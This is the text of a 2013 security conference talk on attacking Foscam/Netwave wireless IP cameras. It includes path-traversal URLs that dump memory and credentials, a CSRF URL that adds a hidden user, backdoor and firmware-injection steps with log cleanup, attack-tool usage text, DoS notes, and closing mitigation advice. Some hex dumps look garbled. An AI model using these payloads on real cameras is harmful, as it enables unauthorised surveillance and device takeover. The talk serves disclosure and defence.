Watching the watchers: hacking wireless IP security cameras
SecTor, October 2013

Sergey Shekyan
Shape Security

Artem Hartutyunyan
Qualys Inc.
Which one?
What can it do?

- Enjoy the convenience and peace of mind knowing that your loved ones and personal belongings are safe and out of harm's way. **Stream live video and audio directly to your PC** (Windows & Mac), Smartphone (Iphone/Android/Blackberry) or Tablet PC (Ipad/Android/Windows 8).

- Get instant notifications via **email/ftp** whenever motion is detected. Record snapshots when anyone enters or exits your driveway, backyard, home or business.

- Foscam is designed to work right of the box - simply **connect the camera to your wireless network**, **setup port-forwarding** and away you go. Once properly configured, the camera operates independently without the need for any computer.

Camera (Foscam FI8910W)

Camera is built on Winbond W90N745 board (32 bit ARM7TDMI)

- Runs uClinux (based on 2.4 kernel)
- Board support package is available from board vendor

Software components

- System
- Web UI
- Settings
System firmware

Custom binary file to store compressed kernel and ROM FS image, ~ 1.8MB

- header: magic, size of linux.bin, size of romfs.img
- linux.bin (compressed kernel image)
- romfs.img (contains camera binary and uClinux boot scripts)

```
00000000 42 4e 45 47 01 00 00 00 01 00 00 00 56 a6 0b 00 |BNEG...........V...|
00000010 00 0c 10 00 50 4b 03 04 14 00 02 00 08 00 ab 6a |....PK............j|
00000020 03 41 2b 13 54 67 be a5 0b 00 a8 7d 17 00 09 00 |.A+.Tg......}....|
00000030 00 00 6c 69 6e 75 78 2e 62 69 6e ec fd 7d 7c 54 |.linux.bin..}T|
00000040 57 b5 3f 8e ef 33 0f c9 10 06 38 79 22 01 d2 72 |W.?..3....8y"..r|
00000050 80 b4 c6 36 6d 0f 90 b6 69 4d cb f0 d0 8a 82 76 |...6m...iM.....v|
...0aadff0 00 00 00 2d 72 6f 6d 31 66 73 2d 00 0f c5 f0 94 |...-rom1fs-.....|
000ae000 0f 81 ed 72 6f 6d 20 34 66 35 32 66 32 33 37 00 |...rom 4f52f237.|
000ae010 00 00 00 00 00 00 00 49 00 00 00 20 00 00 00 d1 |......I... .....|
```

ROM FS Spec (http://lxr.linux.no/linux/Documentation/filesystems/romfs.txt)
Web User Interface firmware

Custom binary file format to store static content to be served by embedded web server, ~100KB

- header: magic, checksum (sum of all bytes starting at 0xC), file size, version
- for each file: length of file name, file name, type (dir | file), length of file, file content

```
00000000 0e 00 00 00 2f 61 64 6d 69 6e 2e 68 74 6d 01 20 |.../admin.htm.
00000000 3e 0d 0a 3c 6d 61 7a 20 3e 63 74 6f 70 6c 61 73 74 3d 31
00000000 20 68 74 74 70 2d 65 71 |...<meta http-equiv|uiv="Content-Type"|/html; charset=utf-8">
00000000 6c 3d 22 73 74 6d 72 79 6c 65 73 74 61 73 74 79
00000000 72 65 66 3d 22 73 74 74 79 6c 65 73 74 61 73 74 79 6c 65 73 74 79
00000000 3d 31 20 3e 67 71 75 65 73 74 6f 70 6c 61 73 74 3d 31
00000000 3e 73 74 74 70 2d 65 71 |<http-equiv="Content-Type">
00000000 6c 6f 74 66 3a 3d 22 61 6c 63 70 72 74 75 6c 64 73 2e 64 69 76 65 2c
00000000 20 20 73 74 74 70 2d 65 71 |"text/css" type="text/css">
```
Web User Interface

Settings

Fixed size 5Kb data structure to store camera configuration

- header: magic, checksum, camera id, system firmware version, webUI version, camera alias
- user/password, network settings, wifi, e-mail, ftp, MSN credentials

```
00000000 bd 9a 0c 44 6f a1 00 00 34 15 00 00 30 30 36 32 | ...Do...4...0062|
00000010 36 45 34 34 34 37 31 37 00 0b 25 02 2e 02 04 0a | 6E444717..%.....|
00000020 03 63 61 6d 65 72 61 66 69 65 6c 64 64 64 64 64 | .cameraFielddddd|
00000030 64 64 64 64 64 64 00 00 6d 69 6e 00 00 00 00 00 | ddddd..admin.....|
00000040 00 00 00 61 61 61 00 00 00 00 00 00 00 00 00 00 | ...aaa.........|
00000050 02 00 73 65 72 31 32 33 34 35 36 37 38 00 00 32 | ..ser12345678..2|
00000060 33 34 35 36 37 38 39 30 31 32 00 00 00 6f 6f 6f | 3456789012...000|
00000070 6f 6f 6f 6f 6f 6f 6f 6f 6f 00 00 6f 6f 6f 6f 6f 6f | ooooooooooo..0000|
00000080 6f 6f 6f 6f 6f 00 00 00 00 00 00 00 00 00 00 00 | ooooo.........|
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................|
```
Where are vulns?
Authentication bypass/privilege escalation

CVE-2013-2560 by Arnaud Calmejane and Frederic Basse – allows to dump the entire memory, with no credentials

http://cameraurl//proc/kcore
http://cameraurl//../proc/kcore
http://cameraurl/spanish/../../../proc/kcore
http://operator_usr:operator_pwd@camera/decoder_control.cgi?command=1&next_url=/proc/kcore
### kcore

**Clear text access credentials...**

<table>
<thead>
<tr>
<th>Address</th>
<th>Credentials</th>
<th>Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000030</td>
<td>00 00 00 00 00 00</td>
<td>61 64 6d 69 6e 00 00 00</td>
</tr>
<tr>
<td>00000040</td>
<td>00 00 00 00 00 00</td>
<td>00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>00000050</td>
<td>02 00 00 00 00 00</td>
<td>00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>...</td>
<td></td>
<td></td>
</tr>
<tr>
<td>000000f0</td>
<td>00 00 00 00 00 00</td>
<td>73 65 63 32 30 31 33 74 6f 72 00 00</td>
</tr>
<tr>
<td>00000100</td>
<td>73 65 63 32 30 31 33 74 6f 72 00 00</td>
<td>sec2013tor......</td>
</tr>
</tbody>
</table>

**...and some more**

<table>
<thead>
<tr>
<th>Address</th>
<th>Credentials</th>
<th>Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>001923b0</td>
<td>35 3a 32 64 37 62 0d 5f 61 70 70 6c 65 2d 6d 6f</td>
<td>5:2d7b._apple-mo</td>
</tr>
<tr>
<td>001923c0</td>
<td>62 64 65 76 04 5f 74 63 70 05 6c 6f 63 61 6c 00</td>
<td>bdev._tcp.local.</td>
</tr>
<tr>
<td>001923d0</td>
<td>00 ff 00 01 0a 53 6c 6f 77 68 61 6d 6d 65 72 c0</td>
<td>.....Slowhammer.</td>
</tr>
<tr>
<td>...</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00192470</td>
<td>36 04 61 72 70 61 00 00 0c 80 01 00 00 00 78 00</td>
<td>6.arpa.........x.</td>
</tr>
<tr>
<td>00192480</td>
<td>02 c0 a2 02 31 33 01 31 01 30 02 31 30 07 69 6e</td>
<td>....13.1.0.10.in</td>
</tr>
<tr>
<td>00192490</td>
<td>2d 61 64 64 72 c0 f3 00 0c 80 01 00 00 00 78 00</td>
<td>-addr.........x.</td>
</tr>
<tr>
<td>...</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00192800</td>
<td>28 42 72 6f 74 68 65 72 20 48 4c 2d 32 31 34 30</td>
<td>(Brother HL-2140</td>
</tr>
<tr>
<td>00192810</td>
<td>20 73 65 72 69 65 73 29 23 72 70 3d 42 72 6f 74</td>
<td>series#rp=Brot</td>
</tr>
<tr>
<td>00192820</td>
<td>68 65 72 20 48 4c 2d 32 31 34 30 20 73 65 72 69</td>
<td>her HL-2140 seri</td>
</tr>
<tr>
<td>00192830</td>
<td>65 73 20 48 39 4a 37 30 38 33 36 38 23 70 64 6c</td>
<td>es H9J708368#pd1</td>
</tr>
</tbody>
</table>
CSRF

http://cameraurl/set_users.cgi?
user1=&pwd1=&pri1=2&user2=&pwd2=&pri2=&user3=&pwd3=&pri3=&user4=&pwd4=&pri4=&user5=&pwd5=&pri5=&user6=&pwd6=&pri6=&user7=&pwd7=&pri7=&user8=csrf&pwd8=csrf &pri8=2&next_url=http://www.google.com
Pwning a camera ...

... in the wild

- ~2 out of 10 cameras brought by Shodan ([www.shodanhq.com](http://shodanhq.com)) will authenticate you with ‘admin’ without password
- The vast majority of cameras have firmware vulnerable to path traversal vulnerability that allows authentication bypass
- Login bruteforce of server basic authentication (so 90s, but THC Hydra([http://www.thc.org/thc-hydra](http://www.thc.org/thc-hydra)) does a great job)

... targeted

- Targeted CSRF attacks will always work unless authentication is redesigned
- Clickjacking
Got access. So what?
What can be you do?

Grab videostream, email, ftp, MSN, wifi credentials

It’s a Linux box on the Internet

- Run arbitrary software (think botnet, proxies, scanners)
- Host malware

It’s a Linux box on the intranet too!

Attack victim’s browser (think The Browser Exploitation Framework (BeEF))
Cameras in the wild

Results of search of 'Netwave IP Camera' on SHODAN, http://shodanhq.com

Cameras listening on various ports

- Port 80 - 397,055
- Port 8080 - 41,492
- Port 7777 - 390

Top countries

- Germany 116,627
- France 60,792
- United States 51,506
- Italy 24,775

(numbers as of October 2013)
Dynamic DNS can help too

Camera vendors provide Dynamic DNS service

xx####.myfoscam.org (e.g. aa11111.myfoscam.org)
- ~119500 valid IPs
- ~10500 responded with ‘Server: Netwave IP Camera’

x####.aipcam.com (e.g. a1111.aipcam.org)
- ~15800 valid IPs
- ~2200 responded with 'Server: Netwave IP Camera'

(data taken in May 2013)

[github.com/artemharutyunyan/getmecamtool](https://github.com/artemharutyunyan/getmecamtool)
Proof of concept/Demo

Create a backdoor

- Add a hidden user to the camera

Add hook to victim’s browser
Host a malware
Host a proxy on the camera (inject new code)

All without visibly altering the functionality of the camera

Details on Sergey's blog (http://blog.shekyan.com/) (http://blog.shekyan.com)
Altering camera Web UI: hiding backdoor user and adding hook to victim's browser

- Figure out version of the Web UI (CGI API)
- Find the Web UI of the same version (internets)
- Unpack (uiextract, github.com/artemharutyunyan/getmecamtool)
- Add new code (patch)
- Pack everything back (uiunpack, github.com/artemharutyunyan/getmecamtool)
- Verify (uiextract, github.com/artemharutyunyan/getmecamtool)
- Push back to the camera (CGI API)
- Cleanup the log (CGI API)

github.com/artemharutyunyan/getmecamtool (github.com/artemharutyunyan/getmecamtool)
Altering the camera firmware: silently slipping a new code

- Figure out version of the firmware (*CGI* API)
- Find the firmware of the same version (*internets*)
- Unpack the firmware (*sysextract*)
- Add new code (*prepare and cross-compile*)
- Pack everything back (*mount, cp, genromfs, syspack*)
- Verify (*sysextract*)
- Push back to the camera (*CGI* API)
- Cleanup the log (*CGI* API)

[github.com/artemharutyunyan/getmecamtool](github.com/artemharutyunyan/getmecamtool)
Proof of concept: camera as an anonomizer/proxy

GET / HTTP/1.1
Host: www.google.com:443

CONNECCT:
www.google.com:443

if(knows_im_a_proxy)
tunnel_the_connection();
else
connect_to_the_camera();

Internets
Demo: doing all of the above with a single command

```bash
$ ./getmecamtool -h
A script for demonstrating the work of camtool utilities
Usage: ./getmecamtool -c <cmd> [OPTIONS]
OPTIONS:
  -c <cmd> command (available commands are host_file inject_exec inject_proxy poison_webui)
  -a <addr> address of the camera
  -u <username> username for accessing the camera
  -p <password> password for accessing the camera
  -e <exec> path to executable file for injecting to the camera
  -k <args> arguments with which the executable has to run
  -s <path> path to system firmware library folder
  -i <inject username> username to create on the camera
  -l <inject password> password for the new username
  -w <webui patch> absolute path to the Web UI patch file
  -o <new port> new port the camera firmware should listen on
  -h display this message
```

github.com/artemharutyunyan/getmecamtool (github.com/artemharutyunyan/getmecamtool)
Another attack vector: DoS

Accepts ~80 concurrent HTTP connections
Takes seconds to knock the camera down
Camera logs only authenticated requests, so no traces on the camera
Use slowhttptest (http://code.google.com/p/slowhttptest/) to simulate Application Layer DoS attacks!
Making it (less in)secure

Ideally, do not expose the camera to outside network.

However, if you absolutely have to, then ...

- Use VPN

Do not expose it directly

- Use firewall/IPS with strict rules
- Define authorized IPs (fail2ban)
- Protect against brute force (throttle down connection rate)

Use reverse proxy

- HTTPS transport
- Override response headers

Isolate the camera from the internal network
Because otherwise...
Because otherwise...
Because otherwise...
Summary for ...

Hackers

- You just learned something
- ... and got a toolkit for trying things out

Admins

- Start watching for traffic coming from “Netwave IP Camera”

Users

- Be careful exposing it
Some links

- blog.shekyan.com
- github.com/artemharutyunyan/getmecamtool
- www.openipcam.com/
- sourceforge.net/projects/foscam-util/
- www.foscam.es/descarga/ipcam/cgi_sdk.pdf
- www.computersolutions.cn/blog/
Thank you

Sergey Shekyan
Shape Security
http://shekyan.com
@sshekyan

Artem Hartutyunyan
Qualys Inc.
@har tem